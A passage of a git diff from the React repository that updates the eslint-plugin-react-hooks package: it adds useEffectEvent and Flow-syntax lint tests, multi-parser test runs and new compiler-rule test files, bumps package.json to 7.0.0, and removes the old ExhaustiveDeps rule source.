           const onClick = useEffectEvent(() => {
             showNotification(theme)
           });
           return <Child onClick={() => onClick()} />
         }
+
+        // The useEffectEvent function shares an identifier name with the above
+        component MyLastComponent(theme: any) {
+          const onClick = useEffectEvent(() => {
+            showNotification(theme)
+          });
+          useEffect(() => {
+            onClick(); // No error here, errors on all other uses
+            onClick;
+          })
+          return <Child />
+        }
       `,
-      errors: [{...useEffectEventError('onClick'), line: 7}],
+      errors: [
+        {...useEffectEventError('onClick', false), line: 8},
+        {...useEffectEventError('onClick', true), line: 16},
+      ],
     },
     {
       code: normalizeIndent`
@@ -1325,7 +1884,7 @@ if (__EXPERIMENTAL__) {
           return <Child onClick={onClick}></Child>;
         }
       `,
-      errors: [useEffectEventError('onClick')],
+      errors: [useEffectEventError('onClick', false)],
     },
     {
       code: normalizeIndent`
@@ -1338,7 +1897,22 @@ if (__EXPERIMENTAL__) {
           return <Bar onClick={foo} />
         }
       `,
-      errors: [{...useEffectEventError('onClick'), line: 7}],
+      errors: [{...useEffectEventError('onClick', false), line: 7}],
+    },
+    {
+      syntax: 'flow',
+      code: normalizeIndent`
+        // Component syntax version
+        // Invalid because onClick is being aliased to foo but not invoked
+        component MyComponent(theme: any) {
+          const onClick = useEffectEvent(() => {
+            showNotification(theme);
+          });
+          let foo = onClick;
+          return <Bar onClick={foo} />
+        }
+      `,
+      errors: [{...useEffectEventError('onClick', false), line: 8}],
     },
     {
       code: normalizeIndent`
@@ -1354,10 +1928,100 @@ if (__EXPERIMENTAL__) {
           return <Child onClick={onClick} />
         }
       `,
-      errors: [useEffectEventError('onClick')],
+      errors: [useEffectEventError('onClick', false)],
     },
-  ];
-}
+    {
+      syntax: 'flow',
+      code: normalizeIndent`
+        // Component syntax version
+        // Should error because it's being passed down to JSX, although it's been referenced once
+        // in an effect
+        component MyComponent(theme: any) {
+          const onClick = useEffectEvent(() => {
+            showNotification(them);
+          });
+          useEffect(() => {
+            setTimeout(onClick, 100);
+          });
+          return <Child onClick={onClick} />
+        }
+      `,
+      errors: [useEffectEventError('onClick', false)],
+    },
+    {
+      code: normalizeIndent`
+        // Invalid because functions created with useEffectEvent cannot be called in arbitrary closures.
+        function MyComponent({ theme }) {
+          const onClick = useEffectEvent(() => {
+            showNotification(theme);
+          });
+          // error message 1
+          const onClick2 = () => { onClick() };
+          // error message 2
+          const onClick3 = useCallback(() => onClick(), []);
+          // error message 3
+          const onClick4 = onClick;
+          return <>
+            {/** error message 4 */}
+            <Child onClick={onClick}></Child>
+            <Child onClick={onClick2}></Child>
+            <Child onClick={onClick3}></Child>
+          </>;
+        }
+      `,
+      // Explicitly test error messages here for various cases
+      errors: [
+        `\`onClick\` is a function created with React Hook "useEffectEvent", and can only be called from ` +
+          'Effects and Effect Events in the same component.',
+        `\`onClick\` is a function created with React Hook "useEffectEvent", and can only be called from ` +
+          'Effects and Effect Events in the same component.',
+        `\`onClick\` is a function created with React Hook "useEffectEvent", and can only be called from ` +
+          `Effects and Effect Events in the same component. ` +
+          `It cannot be assigned to a variable or passed down.`,
+        `\`onClick\` is a function created with React Hook "useEffectEvent", and can only be called from ` +
+          `Effects and Effect Events in the same component. ` +
+          `It cannot be assigned to a variable or passed down.`,
+      ],
+    },
+    {
+      syntax: 'flow',
+      code: normalizeIndent`
+        // Hook syntax version
+        // Invalid because functions created with useEffectEvent cannot be called in arbitrary closures.
+        hook useMyHook(theme: any) {
+          const onClick = useEffectEvent(() => {
+            showNotification(theme);
+          });
+          // error message 1
+          const onClick2 = () => { onClick() };
+          // error message 2
+          const onClick3 = useCallback(() => onClick(), []);
+          // error message 3
+          const onClick4 = onClick;
+          return <>
+            {/** error message 4 */}
+            <Child onClick={onClick}></Child>
+            <Child onClick={onClick2}></Child>
+            <Child onClick={onClick3}></Child>
+          </>;
+        }
+      `,
+      // Explicitly test error messages here for various cases
+      errors: [
+        `\`onClick\` is a function created with React Hook "useEffectEvent", and can only be called from ` +
+          'Effects and Effect Events in the same component.',
+        `\`onClick\` is a function created with React Hook "useEffectEvent", and can only be called from ` +
+          'Effects and Effect Events in the same component.',
+        `\`onClick\` is a function created with React Hook "useEffectEvent", and can only be called from ` +
+          `Effects and Effect Events in the same component. ` +
+          `It cannot be assigned to a variable or passed down.`,
+        `\`onClick\` is a function created with React Hook "useEffectEvent", and can only be called from ` +
+          `Effects and Effect Events in the same component. ` +
+          `It cannot be assigned to a variable or passed down.`,
+      ],
+    },
+  ],
+};
 
 function conditionalError(hook, hasPreviousFinalizer = false) {
   return {
@@ -1416,11 +2080,20 @@ function classError(hook) {
   };
 }
 
-function useEffectEventError(fn) {
+function useEffectEventError(fn, called) {
+  if (fn === null) {
+    return {
+      message:
+        `React Hook "useEffectEvent" can only be called at the top level of your component.` +
+        ` It cannot be passed down.`,
+    };
+  }
+
   return {
     message:
       `\`${fn}\` is a function created with React Hook "useEffectEvent", and can only be called from ` +
-      'the same component. They cannot be assigned to variables or passed down.',
+      'Effects and Effect Events in the same component.' +
+      (called ? '' : ' It cannot be assigned to a variable or passed down.'),
   };
 }
 
@@ -1430,11 +2103,17 @@ function asyncComponentHookError(fn) {
   };
 }
 
+function tryCatchUseError(fn) {
+  return {
+    message: `React Hook "${fn}" cannot be called in a try/catch block.`,
+  };
+}
+
 // For easier local testing
 if (!process.env.CI) {
   let only = [];
   let skipped = [];
-  [...tests.valid, ...tests.invalid].forEach(t => {
+  [...allTests.valid, ...allTests.invalid].forEach(t => {
     if (t.skip) {
       delete t.skip;
       skipped.push(t);
@@ -1453,24 +2132,154 @@ if (!process.env.CI) {
     }
     return true;
   };
-  tests.valid = tests.valid.filter(predicate);
-  tests.invalid = tests.invalid.filter(predicate);
+  allTests.valid = allTests.valid.filter(predicate);
+  allTests.invalid = allTests.invalid.filter(predicate);
 }
 
+function filteredTests(predicate) {
+  return {
+    valid: allTests.valid.filter(predicate),
+    invalid: allTests.invalid.filter(predicate),
+  };
+}
+
+const flowTests = filteredTests(t => t.syntax == null || t.syntax === 'flow');
+const tests = filteredTests(t => t.syntax !== 'flow');
+
+allTests.valid.forEach(t => delete t.syntax);
+allTests.invalid.forEach(t => delete t.syntax);
+
 describe('rules-of-hooks/rules-of-hooks', () => {
+  const parserOptionsV7 = {
+    ecmaFeatures: {
+      jsx: true,
+    },
+    ecmaVersion: 6,
+    sourceType: 'module',
+  };
+
+  const languageOptionsV9 = {
+    ecmaVersion: 6,
+    sourceType: 'module',
+    parserOptions: {
+      ecmaFeatures: {
+        jsx: true,
+      },
+    },
+  };
+
   new ESLintTesterV7({
     parser: require.resolve('babel-eslint'),
+    parserOptions: parserOptionsV7,
+  }).run('eslint: v7, parser: babel-eslint', ReactHooksESLintRule, tests);
+
+  new ESLintTesterV9({
+    languageOptions: {
+      ...languageOptionsV9,
+      parser: require('@babel/eslint-parser'),
+    },
+  }).run(
+    'eslint: v9, parser: @babel/eslint-parser',
+    ReactHooksESLintRule,
+    tests
+  );
+
+  new ESLintTesterV7({
+    parser: require.resolve('hermes-eslint'),
     parserOptions: {
-      ecmaVersion: 6,
       sourceType: 'module',
+      enableExperimentalComponentSyntax: true,
     },
-  }).run('eslint: v7', ReactHooksESLintRule, tests);
+  }).run('eslint: v7, parser: hermes-eslint', ReactHooksESLintRule, flowTests);
 
   new ESLintTesterV9({
     languageOptions: {
-      parser: BabelEslintParser,
-      ecmaVersion: 6,
-      sourceType: 'module',
-    },
-  }).run('eslint: v9', ReactHooksESLintRule, tests);
+      ...languageOptionsV9,
+      parser: require('hermes-eslint'),
+      parserOptions: {
+        sourceType: 'module',
+        enableExperimentalComponentSyntax: true,
+      },
+    },
+  }).run('eslint: v9, parser: hermes-eslint', ReactHooksESLintRule, flowTests);
+
+  new ESLintTesterV7({
+    parser: require.resolve('@typescript-eslint/parser-v2'),
+    parserOptions: parserOptionsV7,
+  }).run(
+    'eslint: v7, parser: @typescript-eslint/parser@2.x',
+    ReactHooksESLintRule,
+    tests
+  );
+
+  new ESLintTesterV9({
+    languageOptions: {
+      ...languageOptionsV9,
+      parser: require('@typescript-eslint/parser-v2'),
+    },
+  }).run(
+    'eslint: v9, parser: @typescript-eslint/parser@2.x',
+    ReactHooksESLintRule,
+    tests
+  );
+
+  new ESLintTesterV7({
+    parser: require.resolve('@typescript-eslint/parser-v3'),
+    parserOptions: parserOptionsV7,
+  }).run(
+    'eslint: v7, parser: @typescript-eslint/parser@3.x',
+    ReactHooksESLintRule,
+    tests
+  );
+
+  new ESLintTesterV9({
+    languageOptions: {
+      ...languageOptionsV9,
+      parser: require('@typescript-eslint/parser-v3'),
+    },
+  }).run(
+    'eslint: v9, parser: @typescript-eslint/parser@3.x',
+    ReactHooksESLintRule,
+    tests
+  );
+
+  new ESLintTesterV7({
+    parser: require.resolve('@typescript-eslint/parser-v4'),
+    parserOptions: parserOptionsV7,
+  }).run(
+    'eslint: v7, parser: @typescript-eslint/parser@4.x',
+    ReactHooksESLintRule,
+    tests
+  );
+
+  new ESLintTesterV9({
+    languageOptions: {
+      ...languageOptionsV9,
+      parser: require('@typescript-eslint/parser-v4'),
+    },
+  }).run(
+    'eslint: v9, parser: @typescript-eslint/parser@4.x',
+    ReactHooksESLintRule,
+    tests
+  );
+
+  new ESLintTesterV7({
+    parser: require.resolve('@typescript-eslint/parser-v5'),
+    parserOptions: parserOptionsV7,
+  }).run(
+    'eslint: v7, parser: @typescript-eslint/parser@^5.0.0-0',
+    ReactHooksESLintRule,
+    tests
+  );
+
+  new ESLintTesterV9({
+    languageOptions: {
+      ...languageOptionsV9,
+      parser: require('@typescript-eslint/parser-v5'),
+    },
+  }).run(
+    'eslint: v9, parser: @typescript-eslint/parser@^5.0.0',
+    ReactHooksESLintRule,
+    tests
+  );
 });
diff --git a/packages/eslint-plugin-react-hooks/__tests__/ReactCompilerRuleFlow-test.ts b/packages/eslint-plugin-react-hooks/__tests__/ReactCompilerRuleFlow-test.ts
new file mode 100644
index 000000000000..29d1437f86cd
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/__tests__/ReactCompilerRuleFlow-test.ts
@@ -0,0 +1,147 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {RuleTester} from 'eslint';
+import {allRules} from '../src/shared/ReactCompiler';
+
+const ESLintTesterV8 = require('eslint-v8').RuleTester;
+
+/**
+ * A string template tag that removes padding from the left side of multi-line strings
+ * @param {Array} strings array of code strings (only one expected)
+ */
+function normalizeIndent(strings: TemplateStringsArray): string {
+  const codeLines = strings[0]?.split('\n') ?? [];
+  const leftPadding = codeLines[1]?.match(/\s+/)![0] ?? '';
+  return codeLines.map(line => line.slice(leftPadding.length)).join('\n');
+}
+
+type CompilerTestCases = {
+  valid: RuleTester.ValidTestCase[];
+  invalid: RuleTester.InvalidTestCase[];
+};
+
+const tests: CompilerTestCases = {
+  valid: [
+    // ===========================================
+    // Tests for mayContainReactCode heuristic with Flow syntax
+    // Files that should be SKIPPED (no React-like function names)
+    // These contain code that WOULD trigger errors if compiled,
+    // but since the heuristic skips them, no errors are reported.
+    // ===========================================
+    {
+      name: '[Heuristic/Flow] Skips files with only lowercase utility functions',
+      filename: 'utils.js',
+      code: normalizeIndent`
+        function helper(obj) {
+          obj.key = 'value';
+          return obj;
+        }
+      `,
+    },
+    {
+      name: '[Heuristic/Flow] Skips lowercase arrow functions even with mutations',
+      filename: 'helpers.js',
+      code: normalizeIndent`
+        const processData = (input) => {
+          input.modified = true;
+          return input;
+        };
+      `,
+    },
+  ],
+  invalid: [
+    // ===========================================
+    // Tests for mayContainReactCode heuristic with Flow component/hook syntax
+    // These use Flow's component/hook declarations which should be detected
+    // ===========================================
+    {
+      name: '[Heuristic/Flow] Compiles Flow component declaration - detects prop mutation',
+      filename: 'component.js',
+      code: normalizeIndent`
+        component MyComponent(a: {key: string}) {
+          a.key = 'value';
+          return <div />;
+        }
+      `,
+      errors: [
+        {
+          message: /Modifying component props/,
+        },
+      ],
+    },
+    {
+      name: '[Heuristic/Flow] Compiles exported Flow component declaration - detects prop mutation',
+      filename: 'component.js',
+      code: normalizeIndent`
+        export component MyComponent(a: {key: string}) {
+          a.key = 'value';
+          return <div />;
+        }
+      `,
+      errors: [
+        {
+          message: /Modifying component props/,
+        },
+      ],
+    },
+    {
+      name: '[Heuristic/Flow] Compiles default exported Flow component declaration - detects prop mutation',
+      filename: 'component.js',
+      code: normalizeIndent`
+        export default component MyComponent(a: {key: string}) {
+          a.key = 'value';
+          return <div />;
+        }
+      `,
+      errors: [
+        {
+          message: /Modifying component props/,
+        },
+      ],
+    },
+    {
+      name: '[Heuristic/Flow] Compiles Flow hook declaration - detects argument mutation',
+      filename: 'hooks.js',
+      code: normalizeIndent`
+        hook useMyHook(a: {key: string}) {
+          a.key = 'value';
+          return a;
+        }
+      `,
+      errors: [
+        {
+          message: /Modifying component props or hook arguments/,
+        },
+      ],
+    },
+    {
+      name: '[Heuristic/Flow] Compiles exported Flow hook declaration - detects argument mutation',
+      filename: 'hooks.js',
+      code: normalizeIndent`
+        export hook useMyHook(a: {key: string}) {
+          a.key = 'value';
+          return a;
+        }
+      `,
+      errors: [
+        {
+          message: /Modifying component props or hook arguments/,
+        },
+      ],
+    },
+  ],
+};
+
+const eslintTester = new ESLintTesterV8({
+  parser: require.resolve('hermes-eslint'),
+  parserOptions: {
+    sourceType: 'module',
+    enableExperimentalComponentSyntax: true,
+  },
+});
+eslintTester.run('react-compiler', allRules['immutability'].rule, tests);
diff --git a/packages/eslint-plugin-react-hooks/__tests__/ReactCompilerRuleTypescript-test.ts b/packages/eslint-plugin-react-hooks/__tests__/ReactCompilerRuleTypescript-test.ts
new file mode 100644
index 000000000000..a0d0f6bdbc8e
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/__tests__/ReactCompilerRuleTypescript-test.ts
@@ -0,0 +1,201 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {RuleTester} from 'eslint';
+import {allRules} from '../src/shared/ReactCompiler';
+
+const ESLintTesterV8 = require('eslint-v8').RuleTester;
+
+/**
+ * A string template tag that removes padding from the left side of multi-line strings
+ * @param {Array} strings array of code strings (only one expected)
+ */
+function normalizeIndent(strings: TemplateStringsArray): string {
+  const codeLines = strings[0]?.split('\n') ?? [];
+  const leftPadding = codeLines[1]?.match(/\s+/)![0] ?? '';
+  return codeLines.map(line => line.slice(leftPadding.length)).join('\n');
+}
+
+type CompilerTestCases = {
+  valid: RuleTester.ValidTestCase[];
+  invalid: RuleTester.InvalidTestCase[];
+};
+
+const tests: CompilerTestCases = {
+  valid: [
+    {
+      name: 'Basic example',
+      filename: 'test.tsx',
+      code: normalizeIndent`
+        function Button(props) {
+          return null;
+        }
+      `,
+    },
+    {
+      name: 'Repro for hooks as normal values',
+      filename: 'test.tsx',
+      code: normalizeIndent`
+        function Button(props) {
+          const scrollview = React.useRef<ScrollView>(null);
+          return <Button thing={scrollview} />;
+        }
+      `,
+    },
+    // ===========================================
+    // Tests for mayContainReactCode heuristic
+    // Files that should be SKIPPED (no React-like function names)
+    // These contain code that WOULD trigger errors if compiled,
+    // but since the heuristic skips them, no errors are reported.
+    // ===========================================
+    {
+      name: '[Heuristic] Skips files with only lowercase utility functions',
+      filename: 'utils.ts',
+      // This mutates an argument, which would be flagged in a component/hook,
+      // but this file is skipped because there are no React-like function names
+      code: normalizeIndent`
+        function helper(obj) {
+          obj.key = 'value';
+          return obj;
+        }
+      `,
+    },
+    {
+      name: '[Heuristic] Skips lowercase arrow functions even with mutations',
+      filename: 'helpers.ts',
+      // Would be flagged if compiled, but skipped due to lowercase name
+      code: normalizeIndent`
+        const processData = (input) => {
+          input.modified = true;
+          return input;
+        };
+      `,
+    },
+  ],
+  invalid: [
+    {
+      name: 'Mutating useState value',
+      filename: 'test.tsx',
+      code: `
+        import { useState } from 'react';
+        function Component(props) {
+          // typescript syntax that hermes-parser doesn't understand yet
+          const x: \`foo\${1}\` = 'foo1';
+          const [state, setState] = useState({a: 0});
+          state.a = 1;
+          return <div>{props.foo}</div>;
+        }
+      `,
+      errors: [
+        {
+          message: /Modifying a value returned from 'useState\(\)'/,
+          line: 7,
+        },
+      ],
+    },
+    // ===========================================
+    // Tests for mayContainReactCode heuristic
+    // Files that SHOULD be compiled (have React-like function names)
+    // These contain violations to prove compilation happens.
+    // ===========================================
+    {
+      name: '[Heuristic] Compiles PascalCase function declaration - detects prop mutation',
+      filename: 'component.tsx',
+      code: normalizeIndent`
+        function MyComponent({a}) {
+          a.key = 'value';
+          return <div />;
+        }
+      `,
+      errors: [
+        {
+          message: /Modifying component props/,
+        },
+      ],
+    },
+    {
+      name: '[Heuristic] Compiles PascalCase arrow function - detects prop mutation',
+      filename: 'component.tsx',
+      code: normalizeIndent`
+        const MyComponent = ({a}) => {
+          a.key = 'value';
+          return <div />;
+        };
+      `,
+      errors: [
+        {
+          message: /Modifying component props/,
+        },
+      ],
+    },
+    {
+      name: '[Heuristic] Compiles PascalCase function expression - detects prop mutation',
+      filename: 'component.tsx',
+      code: normalizeIndent`
+        const MyComponent = function({a}) {
+          a.key = 'value';
+          return <div />;
+        };
+      `,
+      errors: [
+        {
+          message: /Modifying component props/,
+        },
+      ],
+    },
+    {
+      name: '[Heuristic] Compiles exported function declaration - detects prop mutation',
+      filename: 'component.tsx',
+      code: normalizeIndent`
+        export function MyComponent({a}) {
+          a.key = 'value';
+          return <div />;
+        }
+      `,
+      errors: [
+        {
+          message: /Modifying component props/,
+        },
+      ],
+    },
+    {
+      name: '[Heuristic] Compiles exported arrow function - detects prop mutation',
+      filename: 'component.tsx',
+      code: normalizeIndent`
+        export const MyComponent = ({a}) => {
+          a.key = 'value';
+          return <div />;
+        };
+      `,
+      errors: [
+        {
+          message: /Modifying component props/,
+        },
+      ],
+    },
+    {
+      name: '[Heuristic] Compiles default exported function - detects prop mutation',
+      filename: 'component.tsx',
+      code: normalizeIndent`
+        export default function MyComponent({a}) {
+          a.key = 'value';
+          return <div />;
+        }
+      `,
+      errors: [
+        {
+          message: /Modifying component props/,
+        },
+      ],
+    },
+  ],
+};
+
+const eslintTester = new ESLintTesterV8({
+  parser: require.resolve('@typescript-eslint/parser-v5'),
+});
+eslintTester.run('react-compiler', allRules['immutability'].rule, tests);
diff --git a/packages/eslint-plugin-react-hooks/babel.config.js b/packages/eslint-plugin-react-hooks/babel.config.js
new file mode 100644
index 000000000000..3b947a7163bc
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/babel.config.js
@@ -0,0 +1,8 @@
+/**
+ * This file is purely being used for local jest runs, and doesn't participate in the build process.
+ */
+'use strict';
+
+module.exports = {
+  extends: '../../babel.config-ts.js',
+};
diff --git a/packages/eslint-plugin-react-hooks/index.js b/packages/eslint-plugin-react-hooks/index.js
index 754dc9f9c7f2..ce26a10c3151 100644
--- a/packages/eslint-plugin-react-hooks/index.js
+++ b/packages/eslint-plugin-react-hooks/index.js
@@ -1,8 +1 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-export * from './src/index';
+module.exports = require('./src/index.ts');
diff --git a/packages/eslint-plugin-react-hooks/jest.config.js b/packages/eslint-plugin-react-hooks/jest.config.js
new file mode 100644
index 000000000000..aa501cd42614
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/jest.config.js
@@ -0,0 +1,12 @@
+'use strict';
+
+process.env.NODE_ENV = 'development';
+
+module.exports = {
+  setupFiles: [require.resolve('../../scripts/jest/setupEnvironment.js')],
+  moduleFileExtensions: ['ts', 'js', 'json'],
+  moduleNameMapper: {
+    '^babel-plugin-react-compiler$':
+      '<rootDir>/../../compiler/packages/babel-plugin-react-compiler/dist/index.js',
+  },
+};
diff --git a/packages/eslint-plugin-react-hooks/npm/index.d.ts b/packages/eslint-plugin-react-hooks/npm/index.d.ts
new file mode 100644
index 000000000000..7516dc1e846e
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/npm/index.d.ts
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import reactHooks from './cjs/eslint-plugin-react-hooks';
+
+export = reactHooks;
diff --git a/packages/eslint-plugin-react-hooks/npm/index.js b/packages/eslint-plugin-react-hooks/npm/index.js
index 20458a7a9bf2..3e8352af1e64 100644
--- a/packages/eslint-plugin-react-hooks/npm/index.js
+++ b/packages/eslint-plugin-react-hooks/npm/index.js
@@ -1,3 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
 'use strict';
 
 // TODO: this doesn't make sense for an ESLint rule.
@@ -7,3 +14,13 @@ if (process.env.NODE_ENV === 'production') {
 } else {
   module.exports = require('./cjs/eslint-plugin-react-hooks.development.js');
 }
+
+// Hint to Node’s cjs-module-lexer to make named imports work
+// https://github.com/facebook/react/issues/34801#issuecomment-3433478810
+// eslint-disable-next-line ft-flow/no-unused-expressions
+0 &&
+  (module.exports = {
+    meta: true,
+    rules: true,
+    configs: true,
+  });
diff --git a/packages/eslint-plugin-react-hooks/package.json b/packages/eslint-plugin-react-hooks/package.json
index 805231904b01..3e436421b3d3 100644
--- a/packages/eslint-plugin-react-hooks/package.json
+++ b/packages/eslint-plugin-react-hooks/package.json
@@ -1,7 +1,7 @@
 {
   "name": "eslint-plugin-react-hooks",
   "description": "ESLint rules for React Hooks",
-  "version": "5.0.0",
+  "version": "7.0.0",
   "repository": {
     "type": "git",
     "url": "https://github.com/facebook/react.git",
@@ -10,8 +10,9 @@
   "files": [
     "LICENSE",
     "README.md",
+    "cjs",
     "index.js",
-    "cjs"
+    "index.d.ts"
   ],
   "keywords": [
     "eslint",
@@ -19,25 +20,49 @@
     "eslintplugin",
     "react"
   ],
+  "scripts": {
+    "build:compiler": "cd ../../compiler && yarn workspace babel-plugin-react-compiler build",
+    "test": "yarn build:compiler && jest",
+    "typecheck": "tsc --noEmit"
+  },
   "license": "MIT",
   "bugs": {
     "url": "https://github.com/facebook/react/issues"
   },
+  "main": "./index.js",
+  "types": "./index.d.ts",
   "engines": {
-    "node": ">=10"
+    "node": ">=18"
   },
   "homepage": "https://react.dev/",
   "peerDependencies": {
-    "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0"
+    "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0 || ^10.0.0"
+  },
+  "dependencies": {
+    "@babel/core": "^7.24.4",
+    "@babel/parser": "^7.24.4",
+    "hermes-parser": "^0.25.1",
+    "zod": "^3.25.0 || ^4.0.0",
+    "zod-validation-error": "^3.5.0 || ^4.0.0"
   },
   "devDependencies": {
     "@babel/eslint-parser": "^7.11.4",
+    "@babel/preset-typescript": "^7.26.0",
+    "@babel/types": "^7.19.0",
+    "@tsconfig/strictest": "^2.0.5",
+    "@types/eslint": "^9.6.1",
+    "@types/estree": "^1.0.6",
+    "@types/estree-jsx": "^1.0.5",
+    "@types/node": "^20.2.5",
     "@typescript-eslint/parser-v2": "npm:@typescript-eslint/parser@^2.26.0",
     "@typescript-eslint/parser-v3": "npm:@typescript-eslint/parser@^3.10.0",
     "@typescript-eslint/parser-v4": "npm:@typescript-eslint/parser@^4.1.0",
-    "@typescript-eslint/parser-v5": "npm:@typescript-eslint/parser@^5.0.0-0",
+    "@typescript-eslint/parser-v5": "npm:@typescript-eslint/parser@^5.62.0",
     "babel-eslint": "^10.0.3",
     "eslint-v7": "npm:eslint@^7.7.0",
-    "eslint-v9": "npm:eslint@^9.0.0"
+    "eslint-v8": "npm:eslint@^8.57.1",
+    "eslint-v9": "npm:eslint@^9.0.0",
+    "jest": "^29.5.0",
+    "typescript": "^5.4.3"
   }
 }
diff --git a/packages/eslint-plugin-react-hooks/src/ExhaustiveDeps.js b/packages/eslint-plugin-react-hooks/src/ExhaustiveDeps.js
deleted file mode 100644
index f01242896190..000000000000
--- a/packages/eslint-plugin-react-hooks/src/ExhaustiveDeps.js
+++ /dev/null
@@ -1,1908 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-/* eslint-disable no-for-of-loops/no-for-of-loops */
-
-'use strict';
-
-export default {
-  meta: {
-    type: 'suggestion',
-    docs: {
-      description:
-        'verifies the list of dependencies for Hooks like useEffect and similar',
-      recommended: true,
-      url: 'https://github.com/facebook/react/issues/14920',
-    },
-    fixable: 'code',
-    hasSuggestions: true,
-    schema: [
-      {
-        type: 'object',
-        additionalProperties: false,
-        enableDangerousAutofixThisMayCauseInfiniteLoops: false,
-        properties: {
-          additionalHooks: {
-            type: 'string',
-          },
-          enableDangerousAutofixThisMayCauseInfiniteLoops: {
-            type: 'boolean',
-          },
-        },
-      },
-    ],
-  },
-  create(context) {
-    // Parse the `additionalHooks` regex.
-    const additionalHooks =
-      context.options &&
-      context.options[0] &&
-      context.options[0].additionalHooks
-        ? new RegExp(context.options[0].additionalHooks)
-        : undefined;
-
-    const enableDangerousAutofixThisMayCauseInfiniteLoops =
-      (context.options &&
-        context.options[0] &&
-        context.options[0].enableDangerousAutofixThisMayCauseInfiniteLoops) ||
-      false;
-
-    const options = {
-      additionalHooks,
-      enableDangerousAutofixThisMayCauseInfiniteLoops,
-    };
-
-    function reportProblem(problem) {
-      if (enableDangerousAutofixThisMayCauseInfiniteLoops) {
-        // Used to enable legacy behavior. Dangerous.
-        // Keep this as an option until major IDEs upgrade (including VSCode FB ESLint extension).
-        if (Array.isArray(problem.suggest) && problem.suggest.length > 0) {
-          problem.fix = problem.suggest[0].fix;
-        }
-      }
-      context.report(problem);
-    }
-
-    /**
-     * SourceCode#getText that also works down to ESLint 3.0.0
-     */
-    const getSource =
-      typeof context.getSource === 'function'
-        ? node => {
-            return context.getSource(node);
-          }
-        : node => {
-            return context.sourceCode.getText(node);
-          };
-    /**
-     * SourceCode#getScope that also works down to ESLint 3.0.0
-     */
-    const getScope =
-      typeof context.getScope === 'function'
-        ? () => {
-            return context.getScope();
-          }
-        : node => {
-            return context.sourceCode.getScope(node);
-          };
-
-    const scopeManager = context.getSourceCode().scopeManager;
-
-    // Should be shared between visitors.
-    const setStateCallSites = new WeakMap();
-    const stateVariables = new WeakSet();
-    const stableKnownValueCache = new WeakMap();
-    const functionWithoutCapturedValueCache = new WeakMap();
-    const useEffectEventVariables = new WeakSet();
-    function memoizeWithWeakMap(fn, map) {
-      return function (arg) {
-        if (map.has(arg)) {
-          // to verify cache hits:
-          // console.log(arg.name)
-          return map.get(arg);
-        }
-        const result = fn(arg);
-        map.set(arg, result);
-        return result;
-      };
-    }
-    /**
-     * Visitor for both function expressions and arrow function expressions.
-     */
-    function visitFunctionWithDependencies(
-      node,
-      declaredDependenciesNode,
-      reactiveHook,
-      reactiveHookName,
-      isEffect,
-    ) {
-      if (isEffect && node.async) {
-        reportProblem({
-          node: node,
-          message:
-            `Effect callbacks are synchronous to prevent race conditions. ` +
-            `Put the async function inside:\n\n` +
-            'useEffect(() => {\n' +
-            '  async function fetchData() {\n' +
-            '    // You can await here\n' +
-            '    const response = await MyAPI.getData(someId);\n' +
-            '    // ...\n' +
-            '  }\n' +
-            '  fetchData();\n' +
-            `}, [someId]); // Or [] if effect doesn't need props or state\n\n` +
-            'Learn more about data fetching with Hooks: https://react.dev/link/hooks-data-fetching',
-        });
-      }
-
-      // Get the current scope.
-      const scope = scopeManager.acquire(node);
-
-      // Find all our "pure scopes". On every re-render of a component these
-      // pure scopes may have changes to the variables declared within. So all
-      // variables used in our reactive hook callback but declared in a pure
-      // scope need to be listed as dependencies of our reactive hook callback.
-      //
-      // According to the rules of React you can't read a mutable value in pure
-      // scope. We can't enforce this in a lint so we trust that all variables
-      // declared outside of pure scope are indeed frozen.
-      const pureScopes = new Set();
-      let componentScope = null;
-      {
-        let currentScope = scope.upper;
-        while (currentScope) {
-          pureScopes.add(currentScope);
-          if (currentScope.type === 'function') {
-            break;
-          }
-          currentScope = currentScope.upper;
-        }
-        // If there is no parent function scope then there are no pure scopes.
-        // The ones we've collected so far are incorrect. So don't continue with
-        // the lint.
-        if (!currentScope) {
-          return;
-        }
-        componentScope = currentScope;
-      }
-
-      const isArray = Array.isArray;
-
-      // Next we'll define a few helpers that helps us
-      // tell if some values don't have to be declared as deps.
-
-      // Some are known to be stable based on Hook calls.
-      // const [state, setState] = useState() / React.useState()
-      //               ^^^ true for this reference
-      // const [state, dispatch] = useReducer() / React.useReducer()
-      //               ^^^ true for this reference
-      // const ref = useRef()
-      //       ^^^ true for this reference
-      // const onStuff = useEffectEvent(() => {})
-      //       ^^^ true for this reference
-      // False for everything else.
-      function isStableKnownHookValue(resolved) {
-        if (!isArray(resolved.defs)) {
-          return false;
-        }
-        const def = resolved.defs[0];
-        if (def == null) {
-          return false;
-        }
-        // Look for `let stuff = ...`
-        if (def.node.type !== 'VariableDeclarator') {
-          return false;
-        }
-        let init = def.node.init;
-        if (init == null) {
-          return false;
-        }
-        while (init.type === 'TSAsExpression' || init.type === 'AsExpression') {
-          init = init.expression;
-        }
-        // Detect primitive constants
-        // const foo = 42
-        let declaration = def.node.parent;
-        if (declaration == null) {
-          // This might happen if variable is declared after the callback.
